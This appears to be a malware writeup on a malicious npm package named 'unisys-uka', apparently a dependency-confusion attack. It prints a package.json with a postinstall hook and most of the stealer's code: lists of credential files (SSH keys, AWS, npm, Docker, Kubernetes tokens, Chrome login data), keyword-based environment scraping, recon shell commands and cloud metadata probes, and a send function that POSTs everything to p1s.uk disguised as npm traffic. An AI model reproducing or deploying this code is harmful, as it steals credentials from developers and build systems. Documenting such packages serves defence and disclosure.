unisys-uka - Credential and File Theft RAT

{
  "name": "unisys-uka",
  "version": "99.99.1",
  "description": "Internal package",
  "scripts": { "postinstall": "node postinstall.js" },
  "author": "",
  "license": "ISC"
}

try {
  const info = sysInfo();                        // env vars, user info, platform details
  const home = info.user?.home || os.homedir() || '';
  info.files = readFiles(home);                  // 40+ specific files including SSH keys
  info.cmds  = runCommands();                    // shell recon + IMDS probes
  send(info);                                    // POST everything to p1s.uk
} catch (_) {}

// Targeted keywords — full value captured for any matching key name:
const targetedKeywords = [
  'password', 'passwd', 'api', 'auth', 'credential', 'aws', 'gcp', 'azure',
  'npm', 'docker', 'github', 'gitlab', 'ci', 'deploy', 'private', 'database',
  'db_', '_db', 'slack', 'webhook', 'jwt', 'mongo', 'redis', 'postgres',
  'mysql', 'dsn', 'url'
];

// Always captured regardless of name:
const alwaysCaptured = [
  'PATH', 'HOME', 'USER', 'LOGNAME', 'SHELL', 'PWD', 'OLDPWD',
  'CI', 'GITHUB_ACTIONS', 'GITLAB_CI', 'JENKINS_URL',
  'CIRCLE_SHA1', 'TRAVIS', 'BUILD_ID'
];

info.env         = interesting;   // full values for matched variables
info.env_all_keys = keys;          // all env var names sent even if values not matched

const linuxPaths = [
  '/etc/passwd', '/etc/hostname', '/etc/hosts', '/etc/resolv.conf',
  '/etc/os-release', '/proc/version', '/proc/self/environ',
  '/proc/self/cmdline', '/proc/1/cmdline',
  home + '/.ssh/id_rsa',           // RSA private key
  home + '/.ssh/id_ed25519',        // Ed25519 private key
  home + '/.ssh/id_ecdsa',          // ECDSA private key
  home + '/.ssh/authorized_keys',
  home + '/.ssh/known_hosts',
  home + '/.aws/credentials',       // AWS access + secret keys
  home + '/.aws/config',
  home + '/.npmrc',                 // npm auth tokens
  home + '/.pypirc',                // PyPI credentials
  home + '/.docker/config.json',    // Docker registry credentials
  home + '/.gitconfig',
  home + '/.env',
  home + '/.bash_history', home + '/.zsh_history',
  '/root/.ssh/id_rsa', '/root/.ssh/authorized_keys',
  '/root/.aws/credentials',
  '/app/.env', '/app/.env.local', '/app/.env.production',
  '/var/app/.env', '/etc/environment',
  '/run/secrets/kubernetes.io/serviceaccount/token',
  '/var/run/secrets/kubernetes.io/serviceaccount/token',
];

const macPaths = [
  home + '/.config/gcloud/credentials.db',
  home + '/.config/gcloud/application_default_credentials.json',
  home + '/Library/Application Support/Google/Chrome/Default/Login Data',
  home + '/.kube/config',
];

const targets = [
  ['id',       'id'],
  ['hostname', 'hostname'],
  ['ifconfig', 'ip addr 2>/dev/null || ifconfig 2>/dev/null'],
  ['netstat',  'netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null'],
  ['ps',       'ps aux 2>/dev/null | head -30'],
  ['ls_home',  'ls -la ~ 2>/dev/null'],
  ['ls_root',  'ls -la / 2>/dev/null'],
  ['groups',   'groups 2>/dev/null'],
  ['uname',    'uname -a 2>/dev/null'],
  ['df',       'df -h 2>/dev/null'],
  ['env',      'env 2>/dev/null'],
  // Cloud metadata service probes — return IAM role names and temporary credentials
  ['aws_meta', 'curl -sf --max-time 2 http://169.254.169.254/latest/meta-data/ 2>/dev/null || true'],
  ['aws_iam',  'curl -sf --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true'],
  ['gcp_meta', 'curl -sf --max-time 2 -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/ 2>/dev/null || true'],
  ['k8s_token','cat /run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null || true'],
  ['docker_ps','docker ps 2>/dev/null || true'],
  ['npm_config','npm config list 2>/dev/null | head -20'],
];

function send(data) {
  const body = Buffer.from(JSON.stringify(data));
  const opts = {
    hostname: 'p1s.uk',
    path: '/dep-confusion/' + encodeURIComponent(PKG) + '/full',
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'User-Agent': 'npm/' + (process.env.npm_config_user_agent || '9'),  // blends with npm traffic
    },
    rejectUnauthorized: false,
    timeout: 12000,
  };

  const req = https.request({ ...opts, port: 443 }, () => {});
  req.on('error', () => {
    // HTTP port-80 fallback if HTTPS fails
    const req2 = http.request({ ...opts, port: 80 }, () => {});
    req2.on('error', () => {});
    req2.write(body); req2.end();
  });
  req.write(body); req.end();
}